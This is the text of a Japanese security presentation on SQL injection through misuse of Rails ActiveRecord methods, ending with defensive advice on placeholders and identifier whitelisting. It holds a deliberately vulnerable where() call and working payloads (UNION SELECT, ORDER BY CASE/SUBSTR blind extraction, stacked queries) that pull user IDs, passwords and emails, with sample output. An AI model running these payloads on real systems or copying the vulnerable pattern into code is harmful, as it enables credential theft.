More Related Content
Similar to Rails SQL Injection Examplesの紹介
Similar to Rails SQL Injection Examplesの紹介(20)
More from Hiroshi Tokumaru
More from Hiroshi Tokumaru(20)
Rails SQL Injection Examplesの紹介
- 3. Rails SQL Injection Examplesとは
3http://rails-sqli.org/ より引用
Ruby on Railsの
ActiveRecordのメソッド
やオプションの指定方法
の誤りによるSQLインジェ
クションのサンプル集
- 6. 脆弱性のあるアプリケーション
Copyright © 2010-2014 HASH Consulting Corp.
6
@books = Book.where(
"publish = '#{params[:publish]}' AND price >= #{params[:price]}")
山田 祥寛 (著)
Ruby on Rails 4 アプリケーションプログラミング
技術評論社 (2014/4/11)
に脆弱性を加えましたw
※元本に脆弱性があるわけではありません
- 7. UNION SELECTにより個人情報を窃取
Copyright © 2010-2014 HASH Consulting Corp.
7
priceに以下を入れる
1) UNION SELECT
id,userid,passwd,null,mail,null,false,created_at,updated_at FROM users --
SELECT “books”.* FROM “books” WHERE (publish =’’ AND price >=
1) UNION SELECT id,userid,passwd,null,mail,null,false,created_at,
updated_at FROM users --)
- 10. ORDER BY (CASE SUBSTR(password, 1, 1) WHEN 's' THEN 0 else 1 END) ASC って?
• ORDER BY の後には式が書ける
• 以下のSQL文は算数と国語の点数の合計でソートす
る
– SELECT * FROM 成績 ORDER BY (算数+国語)
• 以下の式は、password列の一文字目が s なら 0
そうでなければ 1 を返す
– CASE SUBSTR(password, 1, 1)
WHEN 's' THEN 0
ELSE 1
END
• よって、このORDER BYは、「パスワードの一文字目
が s」の利用者を先頭に集めるソート…だが、しかし
Copyright © 2010-2014 HASH Consulting Corp.
10
- 12. とは言え、やってみた
Copyright © 2010-2014 HASH Consulting Corp.
12
# SELECT "users".* FROM "users" ORDER BY (CASE SUBSTR(passwd,
1, 1) WHEN 'a' THEN 0 else 1 END) asc;
id | userid | passwd | tel | mail
----+-----------+--------+--------------+---------------------
1 | tanaka | abcd | 03-1234-5678 | tanaka@example.jp
2 | yamada | aaaa | 06-2345-6789 | yamada@example.jp
3 | ockeghem | dcba | 045-678-9012 | ockeghem@example.jp
4 | takahashi | cdcd | 099-123-4567 | takahashi@exmaple.jp
パスワードの一文字目が「a」は、実際には2件該当している
http://ror4:3000/users?order=(C
ASE+SUBSTR(passwd,1,1)+WH
EN+'a'+THEN+0+else+1+END)
パスワードの一文字目が「a」のも
のを先頭に持ってきたが、何件該
当するかが分からない。0件の可
能性もある
- 15. 書籍の一覧と個人情報をマップする
Copyright © 2010-2014 HASH Consulting Corp.
15
# SELECT books.id, books.title, users.userid, users.passwd
FROM books, users WHERE books.id=users.id order by passwd;
id | title | userid | passwd
----+------------------------------------+-----------+-------
2 | JavaScriptライブラリ実践活用 | yamada | aaaa
1 | AndroidエンジニアのためのモダンJava | tanaka | abcd
4 | 書き込み式SQLのドリル | takahashi | cdcd
3 | Ruby on Rails 4ポケットリファレンス | ockeghem | dcba
- 16. ORDER BYの副問い合わせ
Copyright © 2010-2014 HASH Consulting Corp.
16
# SELECT books.id, books.title, users.userid, users.passwd
FROM books, users WHERE books.id=users.id order by (select
case when userid='ockeghem' then 0 else 1 end from users where
books.id=users.id);
(select case
when userid='ockeghem' then 0 -- userid='ockeghem' を先頭に
else 1 -- その他は後ろに
end from users where books.id=users.id)
ORDER BY の副問い合わせ
- 17. userid=ockeghemと対応する行を見つける
Copyright © 2010-2014 HASH Consulting Corp.
17
# SELECT books.id, books.title, users.userid, users.passwd
FROM books, users WHERE books.id=users.id order by (select
case when userid='ockeghem' then 0 else 1 end from users where
books.id=users.id);
id | title | userid | passwd
----+------------------------------------+-----------+--------
3 | Ruby on Rails 4ポケットリファレンス | ockeghem | dcba
1 | AndroidエンジニアのためのモダンJava | tanaka | abcd
2 | JavaScriptライブラリ実践活用 | yamada | aaaa
4 | 書き込み式SQLのドリル | takahashi | cdcd
先頭行がuserid=ockeghemに対応
- 19. ORDER BYの副問い合わせ
Copyright © 2010-2014 HASH Consulting Corp.
19
=# SELECT books.id, books.title, users.userid, users.passwd
FROM books, users WHERE books.id=users.id order by (select
case userid when 'tanaka' then 0 when 'ockeghem' then 1 else 2
end from users where books.id=users.id);
(select case userid
when 'tanaka' then 0 -- 'tanaka' を先頭に
when 'ockeghem' then 1 -- 'ockeghem' はセパレータ
else 2 -- その他は後ろに
end from users where books.id=users.id)
※セパレータがないと、'tanaka'が存在しない場合を区別できない
ORDER BY の副問い合わせ
- 20. userid=tanakaと対応する行を見つける
Copyright © 2010-2014 HASH Consulting Corp.
20
wasbook=# SELECT books.id, books.title, users.userid,
users.passwd FROM books, users WHERE books.id=users.id order
by (select case userid when 'tanaka' then 0 when 'ockeghem'
then 1 else 2 end from users where books.id=users.id);
id | title | userid | passwd
----+------------------------------------+-----------+--------
1 | AndroidエンジニアのためのモダンJava | tanaka | abcd
3 | Ruby on Rails 4ポケットリファレンス | ockeghem | dcba
2 | JavaScriptライブラリ実践活用 | yamada | aaaa
4 | 書き込み式SQLのドリル | takahashi | cdcd
userid=ockeghemをセパレータに
- 22. パスワードに対する辞書攻撃(1)
Copyright © 2010-2014 HASH Consulting Corp.
22
SELECT "books".* FROM "books" ORDER BY (select case when
userid='ockeghem' then 1 when passwd='abcd' then 0 else 2 end
from users where books.id=users.id) asc
select case
when userid='ockeghem' then 1 -- セパレータ
when passwd='abcd' then 0 -- passwd='abcd' を先頭に
else 2
end
from users where books.id=users.id
userid=ockeghemをセパレータに
tanakaのパスワードがabcdと判明
- 23. パスワードに対する辞書攻撃(2)
Copyright © 2010-2014 HASH Consulting Corp.
23
SELECT "books".* FROM "books" ORDER BY (select case when
userid='ockeghem' then 1 when passwd='bcda' then 0 else 2 end
from users where books.id=users.id) asc
select case
when userid='ockeghem' then 1 -- セパレータ
when passwd='bcda' then 0 -- passwd='bcda' を先頭に
else 2
end
from users where books.id=users.id
userid=ockeghemをセパレータに
passwd=bcda は存在しないことが判明
- 25. パスワードの1文字目が a の利用者を探す
Copyright © 2010-2014 HASH Consulting Corp.
25
select id, title from books order by (select case when
userid='ockeghem' then 1 when SUBSTR(passwd,1,1)='a' then 0
else 2 end from users where books.id=users.id) asc
select case
when userid='ockeghem' then 1 -- セパレータ
when SUBSTR(passwd,1,1)='a' then 0 –- 1文字目が a を先頭に
else 2
end from users where books.id=users.id
userid=ockeghemをセパレータに
tanakaとyamadaのパスワード
1文字目がaと判明
- 28. aaaa, bbbb, cccc, ddddの4ユーザを登録
Copyright © 2010-2014 HASH Consulting Corp.
28
(select case userid
when 'aaaa' then 0
when 'bbbb' then 1
when 'cccc' then 2
when 'dddd' then 3
else 4
end from users where
books.id=users.id)
- 29. パスワードの一文字目をまとめてクエリ
Copyright © 2010-2014 HASH Consulting Corp.
29
(SELECT CASE
WHEN userid='aaaa' THEN 1
WHEN userid='bbbb' THEN 3
WHEN userid='cccc' THEN 5
WHEN userid='dddd' THEN 7
WHEN SUBSTR(passwd,1,1)='a' THEN 0
WHEN SUBSTR(passwd,1,1)='b' THEN 2
WHEN SUBSTR(passwd,1,1)='c' THEN 4
WHEN SUBSTR(passwd,1,1)='d' THEN 6
ELSE 99
END FROM users WHERE books.id=users.id)
※ 簡単化のためパスワードは a~d 4文字で構成とする
- 30. パスワードの1文字目を探索
Copyright © 2010-2014 HASH Consulting Corp.
30
tanakaとyamadaのパスワード
1文字目がaと判明
takahashiのパスワード1文字目がcと判明
ockeghemのパスワード1文字目がdと判明
tanaka a***
yamada a***
takahashi c***
ockeghem d***
- 31. パスワードの2文字目を探索
Copyright © 2010-2014 HASH Consulting Corp.
31
takahashiのパスワード2文字目がdと判明
ockeghemのパスワード2文字目がcと判明
tanaka ab**
yamada aa**
takahashi cd**
ockeghem dc**
tanakaのパスワード2文字目がbと判明
yamadaのパスワード2文字目がaと判明
- 32. パスワードの3文字目を探索
Copyright © 2010-2014 HASH Consulting Corp.
32
tanakaとtakahashiのパスワード
3文字目がcと判明
yamadaのパスワード3文字目がaと判明
ockeghemのパスワード3文字目がbと判明
tanaka abc*
yamada aaa*
takahashi cdc*
ockeghem dcb*
- 33. パスワードの4文字目を探索
Copyright © 2010-2014 HASH Consulting Corp.
33
ockeghemとyamadaのパスワ
ード1文字目がaと判明
tanaka abcd
yamada aaaa
takahashi cdcd
ockeghem dcba
tamalaとtakahashiのパスワー
ド4文字目が d と判明
- 36. ORDER BYの後にUNIONは使えない
Copyright © 2010-2014 HASH Consulting Corp.
36
PG::SyntaxError: ERROR: "UNION"またはその近辺で構文エラー
LINE 1: SELECT "books".* FROM "books" ORDER BY title
UNION SELECT ...
^
: SELECT "books".* FROM "books" ORDER BY title UNION
SELECT * FROM users -- asc
- 38. やはりエラーになる
Copyright © 2010-2014 HASH Consulting Corp.
38
missing attribute: isbn
SELECT "books".* FROM "books" ORDER BY title;SELECT * FROM users -- asc
- 40. ユーザー情報の窃取に成功
Copyright © 2010-2014 HASH Consulting Corp.
40
SELECT "books".* FROM "books" ORDER BY title;SELECT id,userid AS
isbn,passwd AS title,1 AS price,mail AS publish,null AS published,false AS cd FROM
users-- asc
- 45. まとめ
• Ruby on RailsのActiveRecordの使い方に起因するSQLイン
ジェクションを紹介
• ActiveRecordのメソッドには、与えられた文字列が「そのま
ま」SQL文に展開されるものがある
• 値パラメータについてはプレースホルダを活用
• 表名、列名、キーワードについては以下のいずれかを行う
– 表名、列名、キーワードのホワイトリスト検査
– 外部では番号で指定して、内部で表名、列名、キーワード等に変換
する
• SQL識別子のクォート&エスケープをさせる目的で、Rubyの
識別子を積極的に活用することの是非については有識者の
ご意見をお伺いしたいです
Copyright © 2010-2014 HASH Consulting Corp.
46